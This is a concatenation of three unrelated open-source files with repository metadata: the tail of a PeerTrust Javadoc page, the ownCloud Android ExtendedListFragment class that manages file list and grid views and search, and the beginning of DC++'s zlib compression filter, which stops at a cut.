WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"> <TH ALIGN="left"><B>Methods inherited from class org.peertrust.event.<A HREF="../../../../org/peertrust/event/PTEvent.html" title="class in org.peertrust.event">PTEvent</A></B></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><A HREF="../../../../org/peertrust/event/PTEvent.html#getSource()">getSource</A></CODE></TD> </TR> </TABLE> &nbsp;<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor"> <TH ALIGN="left"><B>Methods inherited from class java.lang.Object</B></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD> </TR> </TABLE> &nbsp; <P> <!-- ========= CONSTRUCTOR DETAIL ======== --> <A NAME="constructor_detail"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2"> <B>Constructor Detail</B></FONT></TH> </TR> </TABLE> <A NAME="PTEventTestASubClass(java.lang.Object)"><!-- --></A><H3> PTEventTestASubClass</H3> <PRE> public <B>PTEventTestASubClass</B>(java.lang.Object&nbsp;source)</PRE> <DL> <DL> <DT><B>Parameters:</B><DD><CODE>source</CODE> - </DL> </DL> <!-- ========= END OF CLASS DATA ========= --> <HR> <!-- ======= START OF BOTTOM NAVBAR ====== --> <A NAME="navbar_bottom"><!-- --></A> <A HREF="#skip-navbar_bottom" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_bottom_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/PTEventTestASubClass.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;<A HREF="../../../../test/org/peertrust/event/PTEventTestA.html" title="class in test.org.peertrust.event"><B>PREV CLASS</B></A>&nbsp; &nbsp;<A HREF="../../../../test/org/peertrust/event/PTEventTestB.html" title="class in test.org.peertrust.event"><B>NEXT CLASS</B></A></FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../../index.html?test/org/peertrust/event/PTEventTestASubClass.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="PTEventTestASubClass.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> <TR> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY:&nbsp;NESTED&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#methods_inherited_from_class_org.peertrust.event.PTEvent">METHOD</A></FONT></TD> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> DETAIL:&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;METHOD</FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_bottom"></A> <!-- ======== END OF BOTTOM NAVBAR ======= --> <HR> </BODY> </HTML>
elitak/peertrust
doc/javadoc/test/org/peertrust/event/PTEventTestASubClass.html
HTML
gpl-2.0
10,557
/** * ownCloud Android client application * * @author Mario Danic * Copyright (C) 2017 Mario Danic * Copyright (C) 2012 Bartek Przybylski * Copyright (C) 2012-2016 ownCloud Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.owncloud.android.ui.fragment; import android.animation.LayoutTransition; import android.app.Activity; import android.os.Bundle; import android.os.Handler; import android.os.Looper; import android.support.annotation.DrawableRes; import android.support.annotation.StringRes; import android.support.design.widget.BottomNavigationView; import android.support.v4.app.Fragment; import android.support.v4.view.MenuItemCompat; import android.support.v4.widget.SwipeRefreshLayout; import android.support.v7.widget.SearchView; import android.text.TextUtils; import android.util.DisplayMetrics; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuInflater; import android.view.MenuItem; import android.view.View; import android.view.ViewGroup; import android.view.ViewTreeObserver; import android.widget.AbsListView; import android.widget.AdapterView; import android.widget.AdapterView.OnItemClickListener; import android.widget.BaseAdapter; import android.widget.GridView; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.ProgressBar; import android.widget.RelativeLayout; import android.widget.TextView; import com.getbase.floatingactionbutton.FloatingActionButton; import com.getbase.floatingactionbutton.FloatingActionsMenu; import com.owncloud.android.MainApp; import com.owncloud.android.R; import com.owncloud.android.authentication.AccountUtils; import com.owncloud.android.lib.common.utils.Log_OC; import com.owncloud.android.lib.resources.files.SearchOperation; import com.owncloud.android.ui.ExtendedListView; import com.owncloud.android.ui.activity.FileDisplayActivity; import com.owncloud.android.ui.activity.FolderPickerActivity; import com.owncloud.android.ui.activity.OnEnforceableRefreshListener; import com.owncloud.android.ui.activity.UploadFilesActivity; import com.owncloud.android.ui.adapter.FileListListAdapter; import com.owncloud.android.ui.adapter.LocalFileListAdapter; import com.owncloud.android.ui.events.SearchEvent; import org.greenrobot.eventbus.EventBus; import org.parceler.Parcel; import java.util.ArrayList; import third_parties.in.srain.cube.GridViewWithHeaderAndFooter; import static android.content.res.Configuration.ORIENTATION_LANDSCAPE; public class ExtendedListFragment extends Fragment implements OnItemClickListener, OnEnforceableRefreshListener, SearchView.OnQueryTextListener { protected static final String TAG = ExtendedListFragment.class.getSimpleName(); protected static final String KEY_SAVED_LIST_POSITION = "SAVED_LIST_POSITION"; private static final String KEY_INDEXES = "INDEXES"; private static final String KEY_FIRST_POSITIONS = "FIRST_POSITIONS"; private static final String KEY_TOPS = "TOPS"; private static final String KEY_HEIGHT_CELL = "HEIGHT_CELL"; private static final String KEY_EMPTY_LIST_MESSAGE = "EMPTY_LIST_MESSAGE"; private static final String KEY_IS_GRID_VISIBLE = "IS_GRID_VISIBLE"; protected SwipeRefreshLayout mRefreshListLayout; private SwipeRefreshLayout mRefreshGridLayout; protected SwipeRefreshLayout mRefreshEmptyLayout; protected LinearLayout mEmptyListContainer; protected TextView mEmptyListMessage; protected TextView mEmptyListHeadline; protected ImageView mEmptyListIcon; protected ProgressBar mEmptyListProgress; private FloatingActionsMenu mFabMain; private FloatingActionButton mFabUpload; private FloatingActionButton mFabMkdir; private FloatingActionButton mFabUploadFromApp; // Save the state of the scroll in browsing private ArrayList<Integer> mIndexes; private ArrayList<Integer> mFirstPositions; private ArrayList<Integer> mTops; private int mHeightCell = 0; private SwipeRefreshLayout.OnRefreshListener mOnRefreshListener = null; protected AbsListView mCurrentListView; private ExtendedListView mListView; private View mListFooterView; private GridViewWithHeaderAndFooter mGridView; private View mGridFooterView; private BaseAdapter mAdapter; protected SearchView searchView; private Handler handler = new Handler(); @Parcel public enum SearchType { NO_SEARCH, REGULAR_FILTER, FILE_SEARCH, FAVORITE_SEARCH, FAVORITE_SEARCH_FILTER, VIDEO_SEARCH, VIDEO_SEARCH_FILTER, PHOTO_SEARCH, PHOTOS_SEARCH_FILTER, RECENTLY_MODIFIED_SEARCH, RECENTLY_MODIFIED_SEARCH_FILTER, RECENTLY_ADDED_SEARCH, RECENTLY_ADDED_SEARCH_FILTER, // not a real filter, but nevertheless SHARED_FILTER } protected void setListAdapter(BaseAdapter listAdapter) { mAdapter = listAdapter; mCurrentListView.setAdapter(listAdapter); mCurrentListView.invalidateViews(); } protected AbsListView getListView() { return mCurrentListView; } public FloatingActionButton getFabUpload() { return mFabUpload; } public FloatingActionButton getFabUploadFromApp() { return mFabUploadFromApp; } public FloatingActionButton getFabMkdir() { return mFabMkdir; } public FloatingActionsMenu getFabMain() { return mFabMain; } public void switchToGridView() { if (!isGridEnabled()) { mListView.setAdapter(null); mRefreshListLayout.setVisibility(View.GONE); mRefreshGridLayout.setVisibility(View.VISIBLE); mCurrentListView = mGridView; setListAdapter(mAdapter); } } public void switchToListView() { if (isGridEnabled()) { mGridView.setAdapter(null); mRefreshGridLayout.setVisibility(View.GONE); mRefreshListLayout.setVisibility(View.VISIBLE); mCurrentListView = mListView; setListAdapter(mAdapter); } } public boolean isGridEnabled() { return (mCurrentListView != null && mCurrentListView.equals(mGridView)); } @Override public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) { final MenuItem item = menu.findItem(R.id.action_search); searchView = (SearchView) MenuItemCompat.getActionView(item); searchView.setOnQueryTextListener(this); final Handler handler = new Handler(); DisplayMetrics displaymetrics = new DisplayMetrics(); Activity activity; if ((activity = getActivity()) != null) { activity.getWindowManager().getDefaultDisplay().getMetrics(displaymetrics); int width = displaymetrics.widthPixels; if (getResources().getConfiguration().orientation == ORIENTATION_LANDSCAPE) { searchView.setMaxWidth((int) (width * 0.4)); } else { if (activity instanceof FolderPickerActivity) { searchView.setMaxWidth((int) (width * 0.8)); } else { searchView.setMaxWidth((int) (width * 0.7)); } } } searchView.setOnQueryTextFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View v, final boolean hasFocus) { if (hasFocus) { mFabMain.collapse(); } handler.postDelayed(new Runnable() { @Override public void run() { if (getActivity() != null && !(getActivity() instanceof FolderPickerActivity)) { setFabEnabled(!hasFocus); boolean searchSupported = AccountUtils.hasSearchSupport(AccountUtils. getCurrentOwnCloudAccount(MainApp.getAppContext())); if (getResources().getBoolean(R.bool.bottom_toolbar_enabled) && searchSupported) { BottomNavigationView bottomNavigationView = (BottomNavigationView) getActivity(). findViewById(R.id.bottom_navigation_view); if (hasFocus) { bottomNavigationView.setVisibility(View.GONE); } else { bottomNavigationView.setVisibility(View.VISIBLE); } } } } }, 100); } }); final View mSearchEditFrame = searchView .findViewById(android.support.v7.appcompat.R.id.search_edit_frame); ViewTreeObserver vto = mSearchEditFrame.getViewTreeObserver(); vto.addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() { int oldVisibility = -1; @Override public void onGlobalLayout() { int currentVisibility = mSearchEditFrame.getVisibility(); if (currentVisibility != oldVisibility) { if (currentVisibility == View.VISIBLE) { setEmptyListMessage(SearchType.REGULAR_FILTER); } else { setEmptyListMessage(SearchType.NO_SEARCH); } oldVisibility = currentVisibility; } } }); LinearLayout searchBar = (LinearLayout) searchView.findViewById(R.id.search_bar); searchBar.setLayoutTransition(new LayoutTransition()); } public boolean onQueryTextChange(final String query) { if (getFragmentManager().findFragmentByTag(FileDisplayActivity.TAG_SECOND_FRAGMENT) instanceof ExtendedListFragment){ performSearch(query, false); return true; } else { return false; } } @Override public boolean onQueryTextSubmit(String query) { if (getFragmentManager().findFragmentByTag(FileDisplayActivity.TAG_SECOND_FRAGMENT) instanceof ExtendedListFragment){ performSearch(query, true); return true; } else { return false; } } private void performSearch(final String query, boolean isSubmit) { handler.removeCallbacksAndMessages(null); if (!TextUtils.isEmpty(query)) { int delay = 500; if (isSubmit) { delay = 0; } if (mAdapter != null && mAdapter instanceof FileListListAdapter) { handler.postDelayed(new Runnable() { @Override public void run() { if (AccountUtils.hasSearchSupport(AccountUtils. getCurrentOwnCloudAccount(MainApp.getAppContext()))) { EventBus.getDefault().post(new SearchEvent(query, SearchOperation.SearchType.FILE_SEARCH, SearchEvent.UnsetType.NO_UNSET)); } else { FileListListAdapter fileListListAdapter = (FileListListAdapter) mAdapter; fileListListAdapter.getFilter().filter(query); } } }, delay); } else if (mAdapter != null && mAdapter instanceof LocalFileListAdapter) { handler.postDelayed(new Runnable() { @Override public void run() { LocalFileListAdapter localFileListAdapter = (LocalFileListAdapter) mAdapter; localFileListAdapter.filter(query); } }, delay); } if (searchView != null && delay == 0) { searchView.clearFocus(); } } else { Activity activity; if ((activity = getActivity()) != null) { if (activity instanceof FileDisplayActivity) { ((FileDisplayActivity) activity).refreshListOfFilesFragment(true); } else if (activity instanceof UploadFilesActivity) { LocalFileListAdapter localFileListAdapter = (LocalFileListAdapter) mAdapter; localFileListAdapter.filter(query); } else if (activity instanceof FolderPickerActivity) { ((FolderPickerActivity) activity).refreshListOfFilesFragment(true); } } } } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { Log_OC.d(TAG, "onCreateView"); View v = inflater.inflate(R.layout.list_fragment, null); setupEmptyList(v); mListView = (ExtendedListView) (v.findViewById(R.id.list_root)); mListView.setOnItemClickListener(this); mListFooterView = inflater.inflate(R.layout.list_footer, null, false); mGridView = (GridViewWithHeaderAndFooter) (v.findViewById(R.id.grid_root)); mGridView.setNumColumns(GridView.AUTO_FIT); mGridView.setOnItemClickListener(this); mGridFooterView = inflater.inflate(R.layout.list_footer, null, false); // Pull-down to refresh layout mRefreshListLayout = (SwipeRefreshLayout) v.findViewById(R.id.swipe_containing_list); mRefreshGridLayout = (SwipeRefreshLayout) v.findViewById(R.id.swipe_containing_grid); mRefreshEmptyLayout = (SwipeRefreshLayout) v.findViewById(R.id.swipe_containing_empty); onCreateSwipeToRefresh(mRefreshListLayout); onCreateSwipeToRefresh(mRefreshGridLayout); onCreateSwipeToRefresh(mRefreshEmptyLayout); mListView.setEmptyView(mRefreshEmptyLayout); mGridView.setEmptyView(mRefreshEmptyLayout); mFabMain = (FloatingActionsMenu) v.findViewById(R.id.fab_main); mFabUpload = (FloatingActionButton) v.findViewById(R.id.fab_upload); mFabMkdir = (FloatingActionButton) v.findViewById(R.id.fab_mkdir); mFabUploadFromApp = (FloatingActionButton) v.findViewById(R.id.fab_upload_from_app); boolean searchSupported = AccountUtils.hasSearchSupport(AccountUtils. getCurrentOwnCloudAccount(MainApp.getAppContext())); if (getResources().getBoolean(R.bool.bottom_toolbar_enabled) && searchSupported) { RelativeLayout.LayoutParams layoutParams = (RelativeLayout.LayoutParams) mFabMain.getLayoutParams(); final float scale = v.getResources().getDisplayMetrics().density; BottomNavigationView bottomNavigationView = (BottomNavigationView) v.findViewById(R.id.bottom_navigation_view); // convert the DP into pixel int pixel = (int) (32 * scale + 0.5f); layoutParams.setMargins(0, 0, pixel / 2, bottomNavigationView.getMeasuredHeight() + pixel * 2); } mCurrentListView = mListView; // list by default if (savedInstanceState != null) { if (savedInstanceState.getBoolean(KEY_IS_GRID_VISIBLE, false)) { switchToGridView(); } int referencePosition = savedInstanceState.getInt(KEY_SAVED_LIST_POSITION); if (isGridEnabled()) { Log_OC.v(TAG, "Setting grid position " + referencePosition); mGridView.setSelection(referencePosition); } else { Log_OC.v(TAG, "Setting and centering around list position " + referencePosition); mListView.setAndCenterSelection(referencePosition); } } return v; } protected void setupEmptyList(View view) { mEmptyListContainer = (LinearLayout) view.findViewById(R.id.empty_list_view); mEmptyListMessage = (TextView) view.findViewById(R.id.empty_list_view_text); mEmptyListHeadline = (TextView) view.findViewById(R.id.empty_list_view_headline); mEmptyListIcon = (ImageView) view.findViewById(R.id.empty_list_icon); mEmptyListProgress = (ProgressBar) view.findViewById(R.id.empty_list_progress); } /** * {@inheritDoc} */ @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); if (savedInstanceState != null) { mIndexes = savedInstanceState.getIntegerArrayList(KEY_INDEXES); mFirstPositions = savedInstanceState.getIntegerArrayList(KEY_FIRST_POSITIONS); mTops = savedInstanceState.getIntegerArrayList(KEY_TOPS); mHeightCell = savedInstanceState.getInt(KEY_HEIGHT_CELL); setMessageForEmptyList(savedInstanceState.getString(KEY_EMPTY_LIST_MESSAGE)); } else { mIndexes = new ArrayList<>(); mFirstPositions = new ArrayList<>(); mTops = new ArrayList<>(); mHeightCell = 0; } } @Override public void onSaveInstanceState(Bundle savedInstanceState) { super.onSaveInstanceState(savedInstanceState); Log_OC.d(TAG, "onSaveInstanceState()"); savedInstanceState.putBoolean(KEY_IS_GRID_VISIBLE, isGridEnabled()); savedInstanceState.putInt(KEY_SAVED_LIST_POSITION, getReferencePosition()); savedInstanceState.putIntegerArrayList(KEY_INDEXES, mIndexes); savedInstanceState.putIntegerArrayList(KEY_FIRST_POSITIONS, mFirstPositions); savedInstanceState.putIntegerArrayList(KEY_TOPS, mTops); savedInstanceState.putInt(KEY_HEIGHT_CELL, mHeightCell); savedInstanceState.putString(KEY_EMPTY_LIST_MESSAGE, getEmptyViewText()); } /** * Calculates the position of the item that will be used as a reference to * reposition the visible items in the list when the device is turned to * other position. * * The current policy is take as a reference the visible item in the center * of the screen. * * @return The position in the list of the visible item in the center of the * screen. */ protected int getReferencePosition() { if (mCurrentListView != null) { return (mCurrentListView.getFirstVisiblePosition() + mCurrentListView.getLastVisiblePosition()) / 2; } else { return 0; } } /* * Restore index and position */ protected void restoreIndexAndTopPosition() { if (mIndexes.size() > 0) { // needs to be checked; not every browse-up had a browse-down before int index = mIndexes.remove(mIndexes.size() - 1); final int firstPosition = mFirstPositions.remove(mFirstPositions.size() - 1); int top = mTops.remove(mTops.size() - 1); Log_OC.v(TAG, "Setting selection to position: " + firstPosition + "; top: " + top + "; index: " + index); if (mCurrentListView != null && mCurrentListView.equals(mListView)) { if (mHeightCell * index <= mListView.getHeight()) { mListView.setSelectionFromTop(firstPosition, top); } else { mListView.setSelectionFromTop(index, 0); } } else { if (mHeightCell * index <= mGridView.getHeight()) { mGridView.setSelection(firstPosition); //mGridView.smoothScrollToPosition(firstPosition); } else { mGridView.setSelection(index); //mGridView.smoothScrollToPosition(index); } } } } /* * Save index and top position */ protected void saveIndexAndTopPosition(int index) { mIndexes.add(index); int firstPosition = mCurrentListView.getFirstVisiblePosition(); mFirstPositions.add(firstPosition); View view = mCurrentListView.getChildAt(0); int top = (view == null) ? 0 : view.getTop(); mTops.add(top); // Save the height of a cell mHeightCell = (view == null || mHeightCell != 0) ? mHeightCell : view.getHeight(); } @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { // to be @overriden } @Override public void onRefresh() { if (searchView != null) { searchView.onActionViewCollapsed(); Activity activity; if ((activity = getActivity()) != null && activity instanceof FileDisplayActivity) { FileDisplayActivity fileDisplayActivity = (FileDisplayActivity) activity; fileDisplayActivity.setDrawerIndicatorEnabled(fileDisplayActivity.isDrawerIndicatorAvailable()); } } mRefreshListLayout.setRefreshing(false); mRefreshGridLayout.setRefreshing(false); mRefreshEmptyLayout.setRefreshing(false); if (mOnRefreshListener != null) { mOnRefreshListener.onRefresh(); } } public void setOnRefreshListener(OnEnforceableRefreshListener listener) { mOnRefreshListener = listener; } /** * Disables swipe gesture. * * Sets the 'enabled' state of the refresh layouts contained in the fragment. * * When 'false' is set, prevents user gestures but keeps the option to refresh programatically, * * @param enabled Desired state for capturing swipe gesture. */ public void setSwipeEnabled(boolean enabled) { mRefreshListLayout.setEnabled(enabled); mRefreshGridLayout.setEnabled(enabled); mRefreshEmptyLayout.setEnabled(enabled); } /** * Sets the 'visibility' state of the FAB contained in the fragment. * * When 'false' is set, FAB visibility is set to View.GONE programmatically, * * @param enabled Desired visibility for the FAB. */ public void setFabEnabled(boolean enabled) { if (enabled) { mFabMain.setVisibility(View.VISIBLE); } else { mFabMain.setVisibility(View.GONE); } } /** * Set message for empty list view. */ public void setMessageForEmptyList(String message) { if (mEmptyListContainer != null && mEmptyListMessage != null) { mEmptyListMessage.setText(message); } } /** * displays an empty list information with a headline, a message and an icon. * * @param headline the headline * @param message the message * @param icon the icon to be shown */ public void setMessageForEmptyList(@StringRes final int headline, @StringRes final int message, @DrawableRes final int icon) { new Handler(Looper.getMainLooper()).post(new Runnable() { @Override public void run() { if (mEmptyListContainer != null && mEmptyListMessage != null) { mEmptyListHeadline.setText(headline); mEmptyListMessage.setText(message); mEmptyListIcon.setImageResource(icon); mEmptyListIcon.setVisibility(View.VISIBLE); mEmptyListProgress.setVisibility(View.GONE); } } }); } public void setEmptyListMessage(final SearchType searchType) { new Handler(Looper.getMainLooper()).post(new Runnable() { @Override public void run() { if (searchType == SearchType.NO_SEARCH) { setMessageForEmptyList( R.string.file_list_empty_headline, R.string.file_list_empty, R.drawable.ic_list_empty_folder ); } else if (searchType == SearchType.FILE_SEARCH) { setMessageForEmptyList(R.string.file_list_empty_headline_server_search, R.string.file_list_empty, R.drawable.ic_search_light_grey); } else if (searchType == SearchType.FAVORITE_SEARCH) { setMessageForEmptyList(R.string.file_list_empty_favorite_headline, R.string.file_list_empty_favorites_filter_list, R.drawable.ic_star_light_grey); } else if (searchType == SearchType.VIDEO_SEARCH) { setMessageForEmptyList(R.string.file_list_empty_headline_server_search_videos, R.string.file_list_empty_text_videos, R.drawable.ic_list_empty_video); } else if (searchType == SearchType.PHOTO_SEARCH) { setMessageForEmptyList(R.string.file_list_empty_headline_server_search_photos, R.string.file_list_empty_text_photos, R.drawable.ic_list_empty_image); } else if (searchType == SearchType.RECENTLY_MODIFIED_SEARCH) { setMessageForEmptyList(R.string.file_list_empty_headline_server_search, R.string.file_list_empty_recently_modified, R.drawable.ic_list_empty_recent); } else if (searchType == SearchType.RECENTLY_ADDED_SEARCH) { setMessageForEmptyList(R.string.file_list_empty_headline_server_search, R.string.file_list_empty_recently_added, R.drawable.ic_list_empty_recent); } else if (searchType == SearchType.REGULAR_FILTER) { setMessageForEmptyList(R.string.file_list_empty_headline_search, R.string.file_list_empty_search, R.drawable.ic_search_light_grey); } else if (searchType == SearchType.FAVORITE_SEARCH_FILTER) { setMessageForEmptyList(R.string.file_list_empty_headline_server_search, R.string.file_list_empty_favorites_filter, R.drawable.ic_star_light_grey); } else if (searchType == SearchType.VIDEO_SEARCH_FILTER) { setMessageForEmptyList(R.string.file_list_empty_headline_server_search_videos, R.string.file_list_empty_text_videos_filter, R.drawable.ic_list_empty_video); } else if (searchType == SearchType.PHOTOS_SEARCH_FILTER) { setMessageForEmptyList(R.string.file_list_empty_headline_server_search_photos, R.string.file_list_empty_text_photos_filter, R.drawable.ic_list_empty_image); } else if (searchType == SearchType.RECENTLY_MODIFIED_SEARCH_FILTER) { setMessageForEmptyList(R.string.file_list_empty_headline_server_search, R.string.file_list_empty_recently_modified_filter, R.drawable.ic_list_empty_recent); } else if (searchType == SearchType.RECENTLY_ADDED_SEARCH_FILTER) { setMessageForEmptyList(R.string.file_list_empty_headline_server_search, R.string.file_list_empty_recently_added_filter, R.drawable.ic_list_empty_recent); } else if (searchType == SearchType.SHARED_FILTER) { setMessageForEmptyList(R.string.file_list_empty_shared_headline, R.string.file_list_empty_shared, R.drawable.ic_list_empty_shared); } } }); } /** * Set message for empty list view. */ public void setEmptyListLoadingMessage() { new Handler(Looper.getMainLooper()).post(new Runnable() { @Override public void run() { if (mEmptyListContainer != null && mEmptyListMessage != null) { mEmptyListHeadline.setText(R.string.file_list_loading); mEmptyListMessage.setText(""); mEmptyListIcon.setVisibility(View.GONE); mEmptyListProgress.setVisibility(View.VISIBLE); } } }); } /** * Get the text of EmptyListMessage TextView. * * @return String empty text view text-value */ public String getEmptyViewText() { return (mEmptyListContainer != null && mEmptyListMessage != null) ? mEmptyListMessage.getText().toString() : ""; } protected void onCreateSwipeToRefresh(SwipeRefreshLayout refreshLayout) { // Colors in animations refreshLayout.setColorSchemeResources(R.color.color_accent, R.color.primary, R.color.primary_dark); refreshLayout.setOnRefreshListener(this); } @Override public void onRefresh(boolean ignoreETag) { mRefreshListLayout.setRefreshing(false); mRefreshGridLayout.setRefreshing(false); mRefreshEmptyLayout.setRefreshing(false); if (mOnRefreshListener != null) { mOnRefreshListener.onRefresh(); } } protected void setChoiceMode(int choiceMode) { mListView.setChoiceMode(choiceMode); mGridView.setChoiceMode(choiceMode); } protected void setMultiChoiceModeListener(AbsListView.MultiChoiceModeListener listener) { mListView.setMultiChoiceModeListener(listener); mGridView.setMultiChoiceModeListener(listener); } /** * TODO doc * To be called before setAdapter, or GridViewWithHeaderAndFooter will throw an exception * * @param enabled flag if footer should be shown/calculated */ protected void setFooterEnabled(boolean enabled) { if (enabled) { if (mGridView.getFooterViewCount() == 0 && mGridView.isCorrectAdapter()) { if (mGridFooterView.getParent() != null) { ((ViewGroup) mGridFooterView.getParent()).removeView(mGridFooterView); } mGridView.addFooterView(mGridFooterView, null, false); } mGridFooterView.invalidate(); if (mListView.getFooterViewsCount() == 0) { if (mListFooterView.getParent() != null) { ((ViewGroup) mListFooterView.getParent()).removeView(mListFooterView); } mListView.addFooterView(mListFooterView, null, false); } mListFooterView.invalidate(); } else { mGridView.removeFooterView(mGridFooterView); mListView.removeFooterView(mListFooterView); } } /** * set the list/grid footer text. * * @param text the footer text */ protected void setFooterText(String text) { if (text != null && text.length() > 0) { ((TextView) mListFooterView.findViewById(R.id.footerText)).setText(text); ((TextView) mGridFooterView.findViewById(R.id.footerText)).setText(text); setFooterEnabled(true); } else { setFooterEnabled(false); } } }
aleister09/android
src/main/java/com/owncloud/android/ui/fragment/ExtendedListFragment.java
Java
gpl-2.0
31,646
/* * Copyright (C) 2001-2006 Jacek Sieka, arnetheduck on gmail point com * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "stdinc.h" #include "DCPlusPlus.h" #include "ZUtils.h" #include "Exception.h" #include "ResourceManager.h" const double ZFilter::MIN_COMPRESSION_LEVEL = 0.9; ZFilter::ZFilter() : totalIn(0), totalOut(0), compressing(true) { memset(&zs, 0, sizeof(zs)); if(deflateInit(&zs, 3) != Z_OK) { throw Exception(STRING(COMPRESSION_ERROR)); } } ZFilter::~ZFilter() { dcdebug("ZFilter end, %ld/%ld = %.04f\n", zs.total_out, zs.total_in, (float)zs.total_out / max((float)zs.total_in, (float)1)); deflateEnd(&zs); } bool ZFilter::operator()(const void* in, size_t& insize, void* out, size_t& outsize) { if(outsize == 0) return false; zs.next_in = (Bytef*)in; zs.next_out = (Bytef*)out; // Check if there's any use compressing; if not, save some cpu... if(compressing && insize > 0 && outsize > 16 && (totalIn > (64*1024)) && ((static_cast<double>(totalOut) / totalIn) > 0.95)) { zs.avail_in = 0; zs.avail_out = outsize; if(deflateParams(&zs, 0, Z_DEFAULT_STRATEGY) != Z_OK) { throw Exception(STRING(COMPRESSION_ERROR)); } zs.avail_in = insize; compressing = false; dcdebug("Dynamically disabled compression"); // Check if we ate all space already... if(zs.avail_out == 0) { outsize = outsize - zs.avail_out; insize = insize - zs.avail_in; totalOut += outsize; totalIn += insize; return true; } } else { zs.avail_in = insize; zs.avail_out = outsize; } if(insize == 0) { int err = ::deflate(&zs, Z_FINISH); if(err != Z_OK && err != Z_STREAM_END) throw Exception(STRING(COMPRESSION_ERROR)); outsize = outsize - zs.avail_out; insize = insize - zs.avail_in; totalOut += outsize; totalIn += insize; return err == Z_OK; } else { int err = ::deflate(&zs, Z_NO_FLUSH); if(err != Z_OK) throw Exception(STRING(COMPRESSION_ERROR)); outsize = outsize - zs.avail_out; insize = insize - zs.avail_in; totalOut += outsize; totalIn += insize; return true; } } UnZFilter::UnZFilter() { memset(&zs, 0, sizeof(zs)); 